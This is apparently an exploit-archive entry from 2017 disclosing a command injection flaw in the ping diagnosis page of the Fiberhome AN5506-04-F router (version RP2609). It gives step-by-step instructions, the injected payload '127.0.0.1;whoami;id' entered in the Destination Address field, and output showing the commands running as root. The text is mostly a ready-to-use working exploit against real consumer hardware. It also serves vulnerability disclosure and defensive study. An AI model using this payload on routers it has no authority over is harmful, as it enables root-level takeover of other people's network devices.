Fiberhome AN5506-04-F - Command Injection

# Exploit Title: Fiberhome an5506-04-f  – -PING- COMMAND INJECTION
# Date: 03.10.2017
# Exploit Author: Tauco
# Vendor Homepage: http://hk.fiberhomegroup.com
# Version: RP2609
# Tested on: Windows 10


Description:
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Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.
 
https://www.owasp.org/index.php/Command_Injection


Proof of Concepts :

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1. Go to the Default Gateway
2. Open the application
3. Open diagnosis
4. Input command to the Destination Address
5. Click Ping

ping_ip=127.0.0.1;whoami;id

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.617 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.259 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.215 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.214 ms
64 bytes from 127.0.0.1: seq=4 ttl=64 time=0.218 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.214/0.304/0.617 ms
root
uid=0(root) gid=0 groups=0